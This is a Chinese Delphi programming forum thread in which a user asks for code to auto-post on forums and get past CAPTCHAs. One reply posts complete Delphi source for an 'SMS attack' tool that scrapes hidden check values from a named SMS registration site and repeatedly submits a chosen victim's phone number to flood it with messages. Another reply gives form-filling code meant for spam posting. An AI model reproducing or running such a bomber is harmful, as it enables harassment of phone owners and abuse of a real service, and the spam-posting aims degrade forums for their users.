谁有能在论坛自动发贴方面的代码(尤其是要求验证码的),想学习一下,200分求购。 (200分)

  • 主题发起人 主题发起人 freecom
  • 开始时间 开始时间
F

freecom

Unregistered / Unconfirmed
GUEST, unregistred user!
思路也行,最好有例子,什么语言都行。
 
我还没有找到什么好的办法,我也在找这方面的资料。
  如果那位仁兄找到了,可不可以给我一份啊?
  yanmdf@eyou.com
 
原来找到一个站点的漏洞,可以进行手机短信攻击的 代码,
现在不能用了,你看看代码吧!

unit UFrmSMSSender;

interface

uses
SysUtils, Variants, Classes, Graphics, Forms, OleCtrls,
SHDocVw, NMHttp, StrUtils, Controls, StdCtrls, ComCtrls;

type
TAttackMSG = record
SysNumber1: string;
SysNumber2: string;
end;

type
TFrmSMSSender = class(TForm)
Label1: TLabel;
EdtPhone: TEdit;
Label2: TLabel;
EdtNum: TEdit;
BtnSend: TButton;
BtnClose: TButton;
SbShow: TStatusBar;
procedure BtnCloseClick(Sender: TObject);
procedure BtnSendClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
sAttackMsg: TAttackMSG;
// 设置攻击对象的属性
procedure SetAttackRecord;
// 发送短信息
procedure SendSMS(HTTPMsg: string);
public
end;

var
FrmSMSSender: TFrmSMSSender;

implementation

{$R *.dfm}

procedure TFrmSMSSender.SetAttackRecord;
var
sString, sEndString: string;
iPos, ipos1: Integer;
NMHTTP1: TNMHTTP;
begin
NMHTTP1 := TNMHTTP.Create(nil);

NMHTTP1.Get('http://sms.online.sh.cn/reg_new/reg2_1.jsp');

sString := Trim(NMHTTP1.Body);

iPos := Pos('<input type="hidden" name="recheckvalidnum" value="', sString);

if iPos <> 0 then
begin
sEndString := Copy(sString, 0, iPos + 3 +
Length('<input type="hidden" name="recheckvalidnum" value="'));

sAttackMsg.SysNumber1 := RightStr(sEndString, 4);
end;

iPos1 := Pos('<input type="hidden" name="recheckvalidnum1" value="', sString);

if iPos1 <> 0 then
begin
sEndString := Copy(sString, 0, iPos1 + 6 +
Length('<input type="hidden" name="recheckvalidnum" value="'));

sAttackMsg.SysNumber2 := RightStr(sEndString, 6);
end;

NMHTTP1.Close(0);
FreeAndNil(NMHTTP1);
end;

procedure TFrmSMSSender.BtnCloseClick(Sender: TObject);
begin
Close;
end;

procedure StrIsNum(ErrorMsg, sStr: string);
begin
try
StrToInt64(sStr);
except
raise Exception.Create(ErrorMsg + '请输入一个数字值');
end;
end;

procedure TFrmSMSSender.BtnSendClick(Sender: TObject);
var
I, iSendNum: Integer;
sStr: string;
begin {
StrIsNum('手机号码必须为整数,', Trim(EdtPhone.Text));
StrIsNum('攻击次数必须为整数,', Trim(EdtNum.Text));

iSendNum := 0;
for I := 1 to StrToInt(EdtNum.Text) do
begin
SetAttackRecord;

SendSMS(
'http://sms.online.sh.cn/reg_new/reg2_1.jsp?' +
'mobilenum2=' + Trim(EdtPhone.Text) +
'&validnum=' + sAttackMsg.SysNumber1 + '&mobiletype2=1' +
'&recheckvalidnum=' + sAttackMsg.SysNumber1 + '&recheckvalidnum1=' +
sAttackMsg.SysNumber2 + '&regist=regist&image.x=22&image.y=13'
);
Inc(iSendNum);
SbShow.Panels[0].Text := '已经发送: ' + IntToStr(iSendNum) + '条';
end;
}

StrIsNum('手机号码必须为整数,', Trim(EdtPhone.Text));
StrIsNum('攻击次数必须为整数,', Trim(EdtNum.Text));

iSendNum := 0;
for I := 1 to StrToInt(EdtNum.Text) do
begin
SetAttackRecord;
{
http://sms.online.sh.cn/reg_new/reg4_1.jsp?
mobilenum2=13529342700&validnum=5480&mobiletype2=1&recheckvalidnum=5480
&recheckvalidnum1=4997760&regist=regist&image.x=45&image.y=10

}

sStr := 'http://sms.online.sh.cn/reg_new/reg4_1.jsp?' +
'mobilenum2=' + Trim(EdtPhone.Text) +
'&validnum=' + sAttackMsg.SysNumber1 + '&mobiletype2=1' +
'&recheckvalidnum=' + sAttackMsg.SysNumber1 + '&recheckvalidnum1=' +
sAttackMsg.SysNumber2 + '&regist=regist&image.x=45&image.y=10';

SendSMS(
'http://sms.online.sh.cn/reg_new/reg4_1.jsp?' +
'mobilenum2=' + Trim(EdtPhone.Text) +
'&validnum=' + sAttackMsg.SysNumber1 + '&mobiletype2=1' +
'&recheckvalidnum=' + sAttackMsg.SysNumber1 + '&recheckvalidnum1=' +
sAttackMsg.SysNumber2 + '&regist=regist&image.x=45&image.y=10'
);
Inc(iSendNum);
SbShow.Panels[0].Text := '已经发送: ' + IntToStr(iSendNum) + '条';
end;

end;

procedure TFrmSMSSender.SendSMS(HTTPMsg: string);
begin
with TWebBrowser.Create(Self) do
Navigate(HTTPMsg);
end;

procedure TFrmSMSSender.FormDestroy(Sender: TObject);
begin
while (Self.FindComponent('TWebBrowser') <> nil) do
Self.FindComponent('TWebBrowser').Free;
end;

end.

 
近日看到http://www.518xx.com/的网络营销专家可以向各网站论坛自动发贴(以前还见过发贴机器人),自己想了一下,有几个难点想不明白.看看论论坛中有没有高人指点指点.
 
理论上不难。
 
看看这个
http://www.delphibbs.com/delphibbs/dispq.asp?lid=2429833
http://www.delphibbs.com/delphibbs/dispq.asp?lid=2420914
 
把浏览器嵌入你的程序,控制它登陆、发贴
 
如果有验证码的话,你就要先考虑怎么分辨出验证码
 
偶有! 但是是VB的:) 一直在自己用,针对动网的,支持验证数字的。

其实一点都不难的! 应该说是非常的简单

你应该读HTTP 头文件。
 
carolson2能否共享一下?
 
//遍历IE的IHTMLDocument2接口,找出Input元素,如果是编辑框则填写文字,按钮则提交
//以下代码在CSDN登陆窗口输入一些文字并提交,但对大富翁等XML生成的网页无效!
//窗口上放个button1、WebBrowser1写代码:
procedure TForm1.Button1Click(Sender: TObject);
begin
//大富翁不行,都是XML生成的东西,Document里没有Input
WebBrowser1.Navigate('http://www.csdn.net/member/login.asp');
//http://www.delphibbs.com/delphibbs/askqn.asp
end;

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
col, Input: IHTMLElementCollection;
Element: IHTMLElement;
InputElement: IHTMLInputElement;
Doc: IHTMLDocument2;
N: integer;
begin
Doc:= WebBrowser1.Document as IHTMLDocument2;
if Doc <> nil then
begin
if Doc.all <> nil then
begin
Input:= Doc.all;
if (Input <> nil) and (Input.length <> 0) then
begin
for N := 0 to Input.length - 1 do
begin
Element:= Input.item(N, '') as IHTMLElement;
if (Element <> nil) and
(SameText(Element.tagName ,'Input')) then
begin
InputElement:= Element as IHTMLInputElement;
InputElement.value:= '呵呵!!';
//if Sametext(InputElement.name , 'Submit') then
// InputElement.form.submit;//提交帖子代码
end;
end;
end;
end;
end;
end;
 
还有更全面的吗?
 
多人接受答案了。
 

Similar threads

D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部